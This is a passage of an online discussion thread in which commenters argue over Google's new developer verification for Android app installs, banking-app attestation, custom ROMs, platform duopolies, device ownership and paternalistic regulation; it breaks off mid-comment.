I don't believe that entirely. For example, how much safer is a banking app protected by play protect, running on an OEM ROM with tonnes of OEM/Google/Meta malware, compared to the same running on Graphene, Lineage or Calyx? I think it's the other way around. Google or their associates convince either the banking firms, or more likely the security audit companies that the play protect (safetynet or whichever latest flavor) is an absolute necessity for security on android. In the latter case, those security firms will give the developers a checklist to follow, which will include an item on enabling that API. It's unlikely that so many banks will choose them on their own accord like that, even if a bunch of them insist on Google providing it. I have even seen banks disabling the API in their apps through updates. And they also don't have any problems with their web applications that don't have anything similar to remote attestation. Besides if you look closely, it's in Google's interest, not the bank's interest to enable these APIs. Such apps will only run on the OEM ROMs, making the open source and custom ROMs somewhat untenable.
Or when you do, you can then link it to specific group of people based on the identifiers you received from the attestation.
Another approach I wonder about is single task specific hardware, like a GPS unit or media player, what tasks have developed over the past ~18 years within the mobile ecosystem and are mature and not rapidly evolving enough that they can be unbundled to their own devices, and desirable enough to stand alone that there's a market for it.
A duopoly just isn't competitive enough. Too bad the cost of entry is so high.
unlock. flash. spread the word. use the fork, Luke.
Its soon time for me to get a new phone, but buying a Google pixel to flash GrapheneOS seems like paying the bully.
Without attestation, banking apps stop working and without a banking app, you are locked out of modern life in many ways.
This latest Google move makes it impossible to run an attested Android without the sideloading limitation. That means that you'll have to choose between GrapheneOS and using your banking app.
I'm sad to say that I've already had to make that choice :-(. I feel that I was coerced into it.
Then bank apps themselves started giving me warnings that my device was insecure (the irony) and I got increasingly frequent KYC questionnaires coming my way. One of the banks also disabled access to some money transfer services, which I suspect is because of some flag on my account in their system.
I had to ditch GrapheneOS at that point. There are simply no banks that I can switch to.
The problem is - linux (outside on server land and maybe SteamOS) is everything but (regular) user friendly.
When people buy a new phone the expect a smooth experience without any major inconveniences and uniform UI. And apps. Lots of apps. Full of features and mature UI. Linux mostly have none of it.
Consumers didn't pick up Windows Phone or HarmonyOS enough to matter either. Access to the two common app stores is crucial for user adoption even when the UI is good.
I don’t believe that at all. Mozilla has been on a string of awful decisions for a long while. They start dumb projects no one asked for or wants all the time and abandon everything swiftly, even the good ones. Look at Rust and Servo.
Firefox OS barely lasted two years between release and discontinuation. It never even stood a chance for most people to even have heard of it or tried it, let alone be successful.
SteamOS isn’t too far from a mobile OS.
I would wish that mobile devices' specs and hardware drivers are all available, so that i am not dependent on the manufacturer supplying a compatible OS.
Valve will learn the OS/2 lesson, by not fostering a proper native Linux ecosystem.
Off the top of my head there's a Debian based one, a Fedora based one, webOS, PostmarketOS, probably others. Wouldn't be that difficult but yeah, the cost of entry is still probably tens of millions.
Like people still download software packages from the web on Windows, MacOS, and Linux… right? Maybe hard to grasp for the kids that grew up with tablets with no notion of a file system, idk
If anything, it's the playstore and appstore which are side channels.
We could also imagine a mechanism to provide an update URL in the app metadata. The OS could query this URL periodically to check for updates.
So it's still a direct install, it's just that direct install support is limited on phones.
It's one of those seemingly innocent UI and communications changes that causes most users to develop a wrong mental model that obscures what's actually happening.
F-droid isn't actually installing the app. Neither does Play Store or Galaxy Store. Nor does Steam install your games on PC. People think they do, because the store fronts take over informing about installation progress. This little UI change alone - taking over the installer's progress bar - makes people develop bad mental models.
Direct installation is a great term IMHO. That's what you do when you download an APK onto your phone's file system, and then use e.g. file manager app to find that APK file, and run the system's package installer over it.
All F-Droid or Play Store or other stores do is to automate the "find the right APK" and "invoke installation" parts.
And while we are at it, "Application"
The curious thing about the word "slave" is that it originates from "slavs" i.e. people living in slavic countries, who were forced to slavery, yet we aren't freaking about that (I'm a slav by myself), it's just a word.
Calling it "sideloading" instead of "installing" software successfully cements the notion that it is somehow not a completely normal thing to do. That's problem solved for the Googles and Apples of the world.
See the history of "jaywalking".
There is no choice of words that will make it normal to install mobile apps from anywhere other than an app store. Whatever word we use will take on the meaning of doing something unusual.
"Sideloading" doesn't have an inherent or deeply ingrained negative connotation. I don't see a reason to try to change it.
Let me just "sideload" an app onto my laptop...
Does that make sense at all? "Sideload" and not "install"?
See the history of words such as "jaywalking" or "carbon footprint" and how their usage cements the respective ideas.
Every time you have to clarify, it’s another opportunity to lose the asker. It’s not a good strategy to use a term we have to keep defining or that people may misunderstand. Stallman and the FSF continue to make that mistake and we have had decades to understand that’s a bad approach.
Call it something else, like a “direct install” or something better. You can still have a deeper meaning to it (“direct because it bypasses the App Store middleman”) but make it something people can understand fast. You can’t fight marketing with ideology alone, you have to beat them at their own game.
Actually, they understand it just fine. The concept is very simple too.
Before this change you could install Android apps without registering your passport/driving license with Google.
After this change you will have to tell Google your real name and home address to install anything on your Android device. This is all. It can take a convoluted form of registering Google account or a more direct form of sending Google your identity documents to confirm "developer privileges". But you will no longer be able to use non-hacked Android devices to install anything without doing those steps.
P.S. I recall that some people still believe that they can create Google account without giving Google your personal details, phone etc. This is simply a self-delusion. If Google does not immediately demand you to cough up a phone numbers under pretense of "suspicious activity", that's because they already know who you are (you probably told them yourself by registering another account elsewhere).
No, "burner SIM cards" aren't real. This is just another form of self-delusion, — this time architected by US security agencies. You don't become anonymous by using those, you become watched.
This change means that people who do not use Google Play or other sources, fully controlled by Google, will no longer be able to install applications on Android.
Much of the ecosystem of Android apps that are only distributed outside the Play store will be affected by this, as many developers won't be able or willing to submit to this process or waive their privacy (especially young developers or those making apps that are legal but often targeted by litigious companies, e.g. emulators, YouTube clients/downloaders, BitTorrent clients, etc.)
turn people onto sideloaded apps. show them Revanced and NewPipe, show them system-wide ad blockers and bloatware removal and every other thing Google doesn't want plebs to use.
people don't care about "apk side-loading," they care about apps. hook them on forbidden apps, and they'll raise hell when they can't side-load them anymore.
It's like napster and torrenting. People dont care about the tech behind it - they care about the outcome.
It's just that the majority of normies dont even know it is possible (and didnt think an alternative exists to sideload).
I don't think that making "normal" people "care" about sideloading is the answer, because a) it's impossible and b) political change doesn't happen through "normal" people anyway, all political and regulatory change is driven via smaller and motivated groups of people.
The problem is fundamentally that there's a duopoly on mobile OSes that has tons of market power and if they want to dictate a change like "you can no longer install unapproved software," they can just do it.
The solution is to walk away from that duopoly, to suck it up and just stop using their products. We fortunately are able to do this (for now) on desktop and running Linux in 2025 is better than it's ever been, and more people are doing it.
To get Linux or some alternative on phones is a big task, and if you make the switch you're going to lose a lot. But most of what has no desktop equivalent is addictive social media garbage that you should get rid of anyway. The biggest thing I'm concerned about is the state of banking and OTP/2FA.
I think we need to fight for universal electronic access to the financial system as a right without a need for gatekeepers like Apple or Google. In some countries it's already the case that at many businesses you must use your phone to make payments, cash is gone, cards are dying, and you must therefore agree to Apple or Google's rules to use your phone. This is truly how freedom and democracy will die if we allow it. This is way bigger for "normal" people than technical concepts like sideloading. People on the left should inherently understand the importance to liberty of having the right as an individual to buy and sell without some megacorp's permission. For people on the right, well, remember the Bible's "Mark of the beast..."
Secondarily we need to fight for the enforcement of anti-trust laws, which half of HN doesn't seem to even know exist, or feels are in some way unfair, even though they are the cause of these problems. Government needs to reach in and rearrange markets that are dominated by one or two players, it needs to forcefully restructure those companies so that they lose their market power and can no longer force citizens to obey their will. We've done it before, such as ending company towns where you were forced to use the company's scrip at the company's shop to buy living essentials. It's worked, we need to do it again.
The problem is that I want to make calls, SMSes, use WhatsApp and Telegram, Maps and OSMAnd, NewPipe, VLC, Syncthing and a few others on the phone I carry with me.
And to make matters worse I don't want a huge, thick and heavy brick like every Linux phone I read about. I'm on a Samsung A40 now and it's not easy to find a replacement with similar size and weight.
Hard to believe at this point that these messengers used to use open standard protocols, and you could send messages from Google Talk to Facebook once.
While I understand your point, are you even going to notice after a couple of weeks of daily driving? Let’s not underestimate our ability to get used to things.
In the country I live in, which is a highly online and highly mobile first country, a sizeable minority of businesses no longer accept cash. A few no longer even accept cards.
At these businesses, there is only one way to pay, which is to pull out your phone, and initiate a transaction through your mobile banking app, you scan a QR from the vendor and approve the transfer.
Mobile banking is so ubiquitous that often these businesses don't even have signage outlining their payment policies, or it's tiny and hard to find.
Some banks do not have an online banking website, the only way to access your money and make a payment is to use the Android or iOS app on an unrooted device, or physically go to a branch or ATM.
You go somewhere, you buy, at the end of your meal or whatever they tell you phone only, no card, no cash.
It's prevalent enough that being outside of your home without an unrooted Google or Apple operating system physically on your person is a significant impediment to buying basic things, like a meal.
Apple and Google will, through a variety of technical changes, seek to make this the case in all of the world, and in some countries they'll succeed. So the important question now is: how will it go down in the next 10 years in your country? How far under their control is your society going to fall?
Banking, money and payments. Limiting those in the name of security is how they will get you on everything else.
They will take away cash and cards and there will only be payment apps, on approved secure OSes which you can't "tamper" with (aka install "unauthorized" software like VLC or a Youtube alternative on), or else the payments apps stop working.
They will take away SMS OTP and there will only be TOTP, because it's more secure. Then they will replace the OTP with a facial scan, because it's more secure, people were being social engineered into giving someone those numbers over the phone, etc.
This is all in process. They don't even hide it, they just say it's for security. It is already happening in countries that are highly online and highly phone-centric.
Note that this is likely illegal, even though I'm sure it's very common in certain places, and arguing about legal tender laws is not how you want to spend every meal of course.
But, in principle, in most countries at least, businesses and private citizens are obligated to accept the country's currency to discharge debts. They're free to have an upfront no cash policy, and refuse to do business with you if you try to pay with cash, for example making you leave all your groceries at the checkout counter. But if they claim that you have a debt to them, such as a meal you've already eaten and now must pay for, they must accept any form of the country's currency, such as cash, as a means of you paying that debt off.
That battle will likely come down to the likes of Apple and Google fighting against one state government at a time. Many will fall.
They have the right to use cash, even if the vendor chooses not to accept it.
I learned this by trying to pay a fine with coins, which are NOT legal tender like cash is.
https://en.m.wikipedia.org/wiki/Legal_tender
> Each jurisdiction determines what is legal tender, but essentially it is anything which, when offered ("tendered") in payment of a debt, extinguishes the debt. There is no obligation on the creditor to accept the tendered payment, but the act of tendering the payment in legal tender discharges the debt.
That doesn't solve anything, though. If Google revoked your Google account and refused to open a new one, you'd be SOL - you'd either have to buy an iPhone, or move banks until you find one that gives you a physical TOTP (since many just have apps already, but those apps don't run unless downloaded from the Google or Apple stores).
The irony of that iconic Apple 1984 add .
microsoft wishes they could have the level of platform control that google/apple on mobiles have.
It's pure luck that the IBM-compatible PC was not locked down and restricted, because at the time IBM had not thought of it as being important. When it became clear that it was a lost profit opportunity, the cat was already out of the bag and so IBM had no choice.
Microsoft repeated the same "mistake". But apple learnt, and google also from apple.
Nowadays Microsoft could easily do it, they aren't fully into it, because they managed to botch themselves the whole WinRT/UWP and Windows 10X transition, had they made it in a way that most Windows developers would join the party, and the outcome would look much different.
Windows 11 sandboxing already requires MSIX and store distribution to be fully enabled, they only have to slowly keep turning the knobs on Windows 12 in whatever form it shows up, eventually.
We're at late stage capitalism, where enshittification occurs at alarming rate.
I don't know if it's actually used much much on windows, but iirc xbox live is pretty popular.
Weird apps that block your phone and show ads constantly (yes this exists)
Typosquatting apps
Apps that hold your phone for ransom if you don't pay a certain debt (yes this exists) https://www.welivesecurity.com/en/eset-research/beware-preda...
Easy: tell them they won't be able to use cracked spotify anymore
The idea that you can hold the beggar bowl out and company mommy will have pity is not realistic. Creating your own ecosystem and cross-fertilising with other liked minded people that is tailored to your approach is far more feasible now than we realise.
For other countries... Well you get what you vote I guess.
I may prove to be wrong but I'm looking forward to seeing how this plays out & genuinely think it could be good, holistically.
There's a number of possibilities:
1. This drives most people to Apple & Android dies. iOS is mostly a better product than Android, with the exception that Android is semi-open. This removes Android's only competitive advantage.
2. This drives most people to Apple which motivates Google to do a U-turn.
3. This drives people to Graphene in such large numbers that it gets financial support, & some banks are pressurised into dropping Play Protect requirements.
I honestly don't know which of these 3 is most or least likely but all move us away from the current stagnant position of Google being the best reasonable option of a set of very bad options. A complete Apple monopoly would obviously be bad in the short term but would at least leave an opening for fresh competitors.
But the % of the total market that do care is not an insignificant % of the total Android userbase. There's also a spectrum of concern - I'm a long time Android user turned iOS user: I care deeply about sideloading but ultimately the balance of pros & cons shifted for me, & I suspect will begin to for others.
Personally, if I'm not allowed to run the software that I want on my phone, it almost makes more sense for me to get some old flip phone or one of those chinese blackberry knockoffs c.a. 2012. Not out of any principled stance, mind you, it's just that's the level of functionality you'd be reducing me to. Why should I pay $500 when I can find something that gives me the same features on a literal junk pile?
What they want is to get rid of apps like YouTube Vanced that are making them lose money (and other Play Store apps)
Security and Intellectual Property (IP) protection could both be true. Google has a big enough reason to make it happen now.
In a perverse way it's not that protecting Google's IP is making us safer. Yet it, strangely is.
I'd greatly appreciate it if you can share the relevant link/repo for it?
Back in the early days of the Internet there was the Joel Spolsky article on why users will always do anything to see the dancing bunnies.
The user can’t make an informed choice because it’s literally impossible to audit the safety of the app or the author. So they will click passed any warnings, follow any number of steps to install the app that gives them something desirable for free.
Those same users can now install facebook, and facebook does this: https://medium.com/@ak123aryan/facebooks-hidden-android-trac...
And facebook is and will be verified in the future too.
> users aren't being 'trained' to ignore warnings
Of course they are. Every time they click "continue anyway" and it actually isn't malware (which is 99% of the time) they are being trained that the warning is nonsense.
And they're right! What use is a warning that an app might be malware, if a) it actually isn't almost every time you see the warning, and b) you have no way of telling if it is or isn't anyway?
I hate this move too and I don't think they should have done "just make the warning even bigger!" is obviously dumb.
c.f. the Windows “it could be malware” blurb. You basically can’t use any software from a small publisher without clicking through it, even if they pay for the code signing certificate.
Anyway, Apple already does this with unknown apps downloaded from the internet, you need to go to security settings and hit a button there.
Saying "this will steal your data" is probably correct.
So what were actually asking users is to install some malware, if it's provided by a big enough tech company, but not other malware. Of course users get confused.
Just stop downloading apps altogether and run the web views in the original web view - the web browser.
Will Google, Meta et al. do that and abandon their apps? Of course not, they need to install malware.
> What they want is to get rid of apps like YouTube Vanced
It felt weird that the official press release was quoting entities from these countries, as if it should give confidence to the rest of the world. I can't imagine what these countries would want with apps that can be traced back to a government id...
Vanced and such is more of a First World/Western issue. I don't think you're wrong but I got a strong gut feeling there's other pressures in the works. Just something doesn't smell right...
Firefox for instance does not allow you to install unsigned extensions. You don't need to list them on their storefront, but they want to perform automated tests and have the ability to block extensions through this signing requirement.
So in principle I can see them wanting to address a legitimate issue, but the way they are going about this is way to centralized. IMO they should do something like we have for web certificates, where vendors can add more root authorities than just the one from Google, and users should be able to add their own root certificates if they want to side load apps.
> I could see that this is also an issue for scam apps.
> Firefox for instance does not allow you to install unsigned extensions.
[0] https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/Web...
For other people to use your extension, you need ***to package it and submit it to Mozilla*** for signing.https://extensionworkshop.com/documentation/publish/signing-...
You can temporarily install extensions in about:debugging, but everything permanent needs to be signed.
> Add-ons need to be signed before they can be installed into release and beta versions of Firefox. This signing process takes place through addons.mozilla.org (AMO), whether you choose to distribute your add-on through AMO or to do it yourself.
What? I'm from Brazil and Vanced is as big, if not bigger here. In fact, most of my 'first world' friends just pay for YouTube Premium (or whatever it is called), and these kinds of workarounds are mostly used in countries with less purchasing power.
what about us losing control over our own devices? do you like losing control over devices you paid for?
You are inadvertently reaching the true core of the question. The ones who have "control" over a device, are those who control the software running on it. Be it the bad guys (in the case of a malware-infested device), a giant corporation (in the case of a locked-down device), or yourself (when you can install and replace any software you want on the device).
I think this is what commenters here are missing. I agree politically with the notion that people should own their devices (having full control), but the reality is not and will never be that the majority have anything but the illusion of control. Meanwhile, as these devices become increasingly necessary for people to exist at all, and the data they store becomes increasingly sensitive, the ability to theoretically install your own software is completely irrelevant compared to the risk of anything bad happening.
Things that would be compromised if my phone is compromised: All private communication, bank accounts, stock portfolio, medical history, driver's license, criminal record, sexual history, grocery habits, all communication between my government and me, real estate deeds and mortgages, two-factor authentication keys, and I suppose my Steam library.
Like, that's a lot. People can lose their homes. The stakes are unfathomably high here.
Why and how is this protecting against a malicious actors? You can't skip that part.
What about malicious actors that are entrenched, like Meta and even Google? Does this not strengthen them?
I can't say whether the specific implementation will be an improvement, but that is clearly the intent.
Meta and Google have not shown themselves to be "malicious" in sense that is relevant to this discussions. Whatever shady practices they may or may not have is very likely entirely within the law, and they are strongly motivated to protect people's personal data, because they will not have users (i.e., their product) if their platforms are insecure.
The only reason, and it is the only reason, you do not view Meta as a malicious actor is because they've told you many times they are not.
Most Meta and Google products could be described as keyloggers or spyware. Many break permissions expectations - for example, Google apps have special privileges that allow them to circumvent some permissions on Android.
In addition, both Meta and Google products are primarily ad driven, with the majority of ads being scams. Again, virtually identical to other malicious apps.
Is any of this legal? Maybe, maybe not, you signed a EULA. But if all it takes is a EULA, then most android malware is not malware, and we're back at square one: play protect will not do anything.
And, to be clear, this is intentional. It is not Googles intention to squander malware because they rely on malware. No malware on Android and they go bankrupt.
It is their intention to further extract value out of the Google play store by leveraging their mandatory 30% cut. As well as making Android a more locked down platform and thereby more attractive to advertisers and DRM distributors.
"Free" devices exist. Linux computers. Linux phones. No codesigning, minimal sandboxing, none of that "malevolent" stuff from macOS/Windows/Android. Knock your socks off. You have a choice. Ideologically wanting everyone's devices to be like this is not sensible.
This isn't like anticompetitive behavior (bundling, lock-in, fees) where "you have a choice" is irrelevant because corporate power should be minimized and competition and consumer surplus should be maximized. Tradeoffs between security and nerd-fantasy "freedom" are valid.
I still remember that piece about the tween girl getting her nudes exposed because of a RAT. True "freedom" with technology, for non-nerds, means being able to use technology to pursue your passions, learn singing, fashion, dancing, without having to be terrified that this computer might destroy your life. That's "freedom" for 99% of folks. But the high-empathy folks here will respond "user error", "personal responsibility", "you should have known not to click that". You aren't entitled to be care-free, to have a life, to pay no attention to boring nerd stuff. Become a dead-inside geek like us, you bottom-quintile person, or else.
I dont care that google loses money.
By allowing people to shoot themselves in the foot after ignoring a unmistakable warning, you are helping teach the foolish to be more careful in the future. Making mistakes is the best way to learn something.
If they even notice, that is. It's just as possible that they play open relay for a year before they move to a new phone because their battery is always dying so fast for some unknown reason.
What reason do you have to believe that this goal wasn't achieved?
Plus, you are not required to do that, you can just stick to Google Play and trust what Google approves there. But no need to lock down others because of your recklessness.
Why the hell can't I use my rooted device for payments? It's my goddamn money at risk.
Plus the whole "banks need to protect you by ensuring your device" is stupid when cards are protected only by a PIN, and the app also requires some form of biometry to unlock it, which is to encrypt the underlying tokens. Banks should protect your money on their end, with clients having their responsibility to keep safe their stuff, whether that's their card or phone. It's a stupid premise itself, and it's lazy engineering.
To be fair though, this strategic duplicity is a technique Apple has used since Jobs; so it's not as if Google used the approach first.
Will once again re-up the concept of a “right to root access”, to prevent big corps from pulling this bs over and over again: https://medhir.com/blog/right-to-root-access
I primarily want to be able to unlock the bootloader to install a custom de-googled Android Version (such as GrapheneOS) and then lock the bootloader again (using a custom_avb_key). This is currently possible with Google's Pixel devices, but most Android devices don't even offer this...
https://en.wikipedia.org/wiki/Digital_Millennium_Copyright_A...
GamersNexus' 3 hour documentary about GPU smuggling (which is way more than a vlog as HN commenters like to portray) is struck down by Bloomberg because they didn't want their 30 second clip, which is squarely fair use BTW, of POTUS speaking to be in that. GamersNexus repealed successfully, but Bloomberg tried to bully them [0].
And if they're actually the cartoon villains it would imply, rather than just banal petty autocrats carelessly fooling around with a toy they deserve to have taken away from them, then we should maybe less be saying "it makes sense that they would want it this way" and more be sticking their heads in a guillotine so we can show the children the proper way to resolve a dispute with a tyrant.
In neither case should a law like that remain on the books.
- Bloomberg has a similar investigation which is deeply undercut by GamersNexus video. GN seen the labs, Bloomberg got their access revoked, so theirs is an empty video, and they want the views.
- The video holds no punches back about anyone, and Bloomberg has an NVIDIA sponsored section dedicated to them.
- There's no other source which recorded POTUS' words, and maybe they don't want these words to be widely available, video argues.
- Lastly, they wanted a licensing fee for that 30 seconds to leave their videos alone.
So, when you're a beancounting billionaire corporation, you can have the reasons to go after a bearded guy who manages to do a better job and make you look bad.
Because, monies.
So it's actually far from trivial to draw a line.
In at least two european countries that I know of (but probably in all of them) cars need to pass periodic technical inspection to be allowed on the road. Breaks are tested, among other things.
I understand that GP point was about home-made brakes (like the software counterpart), but software on a smartphone is not (yet) deadly for others if it doesn't work as expected.
Cargo van -> Camper van conversions go through this all the time - you add/remove seats, add a lot of weight in the form of beds, water tanks, etc. add/remove windows, put solar panels on the roof... After those changes you have to take it down to the vehicle inspection, and they tell you whether or not your changes have been deemed acceptable to drive on public roads.
Funny you mention the brakes, because a friend of mine told me just days ago that he used to change his own brakes consumables (pads) until the new car, which "throws an error" if you replace the part - you have to go to an official service office for the computer configuration.
Now, do not forget that the need for the intervention of third parties lowers the car reliability ("far away", "too expensive", "device too old", "operation failure", "inexperienced operator" etc.).
This should show that your argument has difficult sides. Of course you should be able to act on your critical possessions. It should be within a good framework, but it should be fully, practically possible.
That is a nonsensical argument.
"You shouldn't be able to put anyone else in danger" - agreed.
"You shouldn't be able to modify your car" - wtf does that have to do with danger?
"Modifying brakes (not breaks)" is not the same thing as "Putting people in danger". Sometimes we modify them to have better braking than the standard.
What countries actually do is test the end-result, i.e. Does the car conform to the legally mandated required braking performance?
Rather than campaign to stop people from owning property anymore, maybe just enforce the existing laws (which, as far as I know, are enforced already anyway).
This campaign to divide people into an owning class and a servile class is pretty damn repugnant, and "Because someone can be harmed if we allow people to own things" is just the new "But think of the children" nonsense.
But even for cars, it's quite clear that a modify-test cycle there is on the order of months/years (also, has a money burden that probably the owner has to pay). But this would 100% fail to scale to IT - like should I go to the government on each commit? Do I get a signature from them for releases?
Say you put aftermarket brakes on your car and they fail, causing an accident that harms someone else. The person who changed their brakes should be held liable legally, its as simple as that. Owners that choose to change their car and do a piss poor job of it are held accountable for their actions and others considering similar modifications can choose to learn the lesson.
Yes that means people could be harmed in the process, but regulations themselves harm people too. There's no way around the fact that one way or another people may get harmed during their lifetime. In the long run regulations just guarantee that, should the wrong people take power, the regulations and authority that originally allowed regulations will be abused.
I'm actually surprised I haven't seen more push back on government authority given everything Trump is either doing or claiming he will do. The president should be largely an anemic office acting more as a figurehead than anything else. We've given them the power to effectively legislate with no oversight, that why he may be able to do so much harm.
Can I use an Android phone without using Google? Yes, of course you can. There are plenty of secure OS's like Graphen, Lineage, Calyx and many others. Do people really care enough to use them? Hardly any, which proves my point.
Same thing here. Most people will just pay the fee to get the seats. Some might just opt out and not get them. Others will shop around and find some legacy cars that are older that have them but don't require a subscription.
At the end of the day? There's ALWAYS a choice. How hard do you want to look to avoid the subscription? Is it really worth your time and effort? Some would say yes, the vast majority really DGAF. People have been lulled into not caring about stuff like personal privacy and having a say in what's being peddled to you.
The seat heating was apparently shortening the life of the leather seats. Its cheaper to include heated seats in all cars, than it is to maintain 2 different sets of production. The subscription basically offsets the cost of needing to replace the seats more frequently when the heating is enabled.
Likewise, if you manually enabled the seat heaters, then complained that the seats were falling apart quickly, having given you a legal out to get that feature enabled in warranty, would not have to replace your seats for free.
Not to mention, they apparently already ditched the subscription over backlash.
I never heard of car-manufacturers periodically replacing seats within warranty because of the wear of the material, regardless of being "more frequently" or not. This sounds like a massive oversight in product-design.
Of all the cases I know, the customer had to bear the cost of such "wear and tear" cases.
If you agree that above are edge cases too, I have a Volkswagen to sell you [0].
I would want the ability to change that. I actually think I can mess with that on my car.
>enabling the nominal power of your car instead of handicapping it by default?
Big topic for me. My car has a DPF, and appears to have been geared such that despite containing an automatic DPF burn process, the engine never quite reaches the required temperature, so I need to perform manual burns.
I have straight up asked the dealer for a method to enable the auto burn process, manually. And have asked if theres a retune available, to make the gearing just a little bit less efficient, giving me more power and more engine heat.
The issue, pretty much verbatim from their head regional diesel mechanic is that any modifications of that nature would fuck the emissions standards they had to limbo under. So its categorically denied. They also issued me with stern official warnings that anything I do to make the car more reliable may also void my warranty. And the unofficial advice I have received is that the DPF is "f*cked mate" and to "get the petrol hybrid before the government forces it to wear a similar PPF"
The car also very suspiciously moderates the engine output unrelated to gearing/tune. Just sometimes underperforms at random. I believe its computational again, like you say, handicapping it for emissions reasons.
These things are largely optional for me, but I wont mess with them too much until I am out of warranty.
Yes, generally you can disable on demand, but Volkswagen now sells the feature as a subscription. So you need to pay to enable. Maybe this is because it reduces the lifespan of the LEDs. Who knows.
> handicapping it for emissions reasons.
Volkswagen sells you another subscription for that now, at least for their electric vehicles. You can buy the option if you want your EV to perform as it's designed.
Emissions is a completely different beast. However their 140HP and 170HP TFSI engines had no different parts rather than the mapping.
Manipulating engines in a way which alters their carbon footprint is a sensitive topic, and while I was positive towards diesel systems, the particulate matter they emit, the fog they cause (see Paris photos, it's eye opening) and German engineering at its finest (i.e. Dieselgate scandal) soured me from diesel's automotive applications, big time, permanently.
You can also buy "for life" subscription (around £600, if I remember the news about it correctly), so you could also say that the stronger engine costs 600 pounds more when you purchase the car. Not too different to buying the cars in the past: more powerful engine adds to the price tag.
Same is true for the internal combustion engines. Since they already developed the ability to store multiple maps and change the mapping when required. :)
But, where's the value in that, I mean for shareholders, innit?
By selling the same hardware with multiple tiers of functionality artificially locked behind increased prices, it becomes profitable to develop and manufacture products that would otherwise not make economic sense. This occurs when there aren't enough potential buyers of the full-featured version at a price that makes the full-featured version on its own profitable, but the sum of all customers at all price/functionality tiers is profitable. i.e. this model results in products that would otherwise not exist.
I have mixed feelings about that argument. The main one being that it's not much of a stretch to go from that to "the full-featured version sold at price X would be profitable, but because most customers are willing do do without the higher tiers of functionality, we can make even more money by selling a reduced-functionality version at price X, and charge a premium for the extra features", and it sure seems like that's what a lot of American businesses do. But I assume at least some of the time, it really is the former and not the latter.
But if anything, regular people should have more of the cake.
The courts assumed good faith with a licensing exception, and maybe it was. But that opened the door to essentially completely dismantle the first-sale doctrine. Get rid of that loophole and all this stupidity ends, immediately. Well that and the DMCA. Once you buy something, it's yours to do whatever you want to do with it short of replicating it for commercial benefit.
As a more specific way to do this, I'd like to see any software that hardware companies make for their own hardware designated (at the choice of the company) as either part of the hardware or a separate product. In the former case, it must be made available under GPLv3 with full anti-tivoization provisions. In the latter case, it must use only public and documented interfaces and must be completely realistic for another company to make a competing product on a level playing field. Ideally the separate products would also need to be highly cross platform if technically feasible where the burden of showing that it isn't is on the developer.
Informed consent goes a long way.
1: the exception that I'm thinking of here is fair phone, and it isn't much of an exception.
I.e. a warning would be if he didn't want it to happen, but my understanding is that he very much did.
And the people did rise up and successfully tried to fix the problem - there was a big socialdemocratic movement that culminated between the world wars.
What he underestimated was the ingenuity with which the capitalism reinvents itself (and creates new forms of private property to gobble up - free computing in RMS's sense just one example). He also overestimated ability of most people to understand the problem (it's lot more lack of emotional rather than intellectual capacity). I would say alienation is central to Marx, unfortunately alienated people can be so indoctrinated to fail to consider the alternatives. Most people seem to prefer to suffer through hardship rather than demand an alternative solution.
That's interesting, this is a pretty generous representation of him in my opinion. Its been a while since I read some of his writings and went down the rabbit hole listening to long form interviews of historians that studied him though, my memory could he failing me!
My understanding what that Marx envisioned a future utopia and saw two revolutions, both presumably violent, as necessary to get to the end goal. At best I could see him being indifferent to the suffering and deaths required in his model, but I never got the feeling that he would regret or would want to avoid the suffering. If I'm not mistaken, one of the revolutions he expected and wanted to see happen would have leaned heavily on the poor and working class turning on the rich and powerful to the point of killing most or all of them.
Again, I hope my representation is accurate here. I don't have time to dig back in to fact check this right now, just sharing my recollection.
The question that hasn't fully been worked is how to allow people to think/feel they own something, while having no actual legal rights to it. But, as we see, this is being worked on.
Those are the only checks of power on the executive built into our system. Are you expecting we would have to throw out our political system all together, get rid of the top by force, and start over?
I’ve never agreed with this premise.
I buy things that mostly meet my needs and desires in every other walk of life. I’m personally OK with extending this to computers as well.
And isn't the point in this very situation that people simply can't buy what they want because Google and Apple are a duopoly and now Google is going to follow the path of restricting what you can do with your own property?
At least this is probably how people in charge of enshittification think like.
My needs and desires aren’t that complicated. There’s nothing that I really want or need to do that I can’t do on my phone or iPad.
Your response reminds me of Snowden's quote, which I'll likely butcher because it's from memory, but roughly: "Saying you don't care about privacy because you have nothing to hide is like saying you don't care about freedom of speech because you have nothing to say".
I know what I do on computers/phones/iPads. I know that every computer/phone/iPad I've ever owned has done more or less what I wanted. I'm usually the weak link, not the device.
I don't go to bed worried that the sun is going to rise in the West. I've got things that seem likely to happen to worry about.
But the reality (which was correctly identified by Adam Smith himself) is that the effort required to enter a market can sometimes be so high, that we practically end up with oligopolies, see mobile OSs. They require a network effect to make sense, so the entry cost is not just developing the product, but also to somehow convince basically every other player to consider you a target platform - which is a cyclical problem that you can't just bootstrap yourself into. Even Microsoft failed at it, even though they were paying hefty sums to companies for apps working on their OS.
I assure you it is not.
Protecting the bottom quintile from consequences of thier mistakes also protects everyone else if they ever make those mistakes in a momentary lapse
Maybe society shouldn't be structured in such a way that people have to be constantly hyper vigilant to avoid mistakes with high consequences
There is not much to discover from e.g. not using seatbelts. There is absolutely a need to protect a population from itself which should cover certain stuff, while not others.
Look: in order for a mandate to be justifiable, it needs to at least provide superlinear benefit to linear adoption. That is, it has to solve a coordination problem.
Do seat belts solve any coordination problem? Do they benefit anyone but those wearing them? No. Therefore, the state has no business mandating them no matter the harm prevented.
A certain kind of person thinks differently though. He sees "harm" and relishes the prospect of "protecting" people from that "harm". They don't recognize the legitimacy of individual bad decisions. The self is just another person trying to hurt you. This kind of person would turn the whole world into a rubberized playground if he could.
If drivers were the only ones who wore seatbelts, you would have a point. In practice, seatbelts save the lives of the passengers, spouses, kids, etc. who are riding in the car, and hence this is indeed a coordination problem.
No, there isn't. I'd much rather live in a world where we were able to make our own decisions about personal safety, regardless of how poor those decisions are.
I'd also much rather live in a world where everyone does the right thing, there's no greed, stupidity and short-sightedness. Unfortunately I have to make do with our current one. The fact is that a lot of people are stupid. Even very clever people often act irrationally and against their own interests. In the end, we have to strike a balance between personal freedom and the need to protect people from themselves.
Let's look at the case of mandatory seatbelts, and entertain your proposition that people don't need to be protected from themselves. What will happen?
Well, quite a few things are basically inevitable:
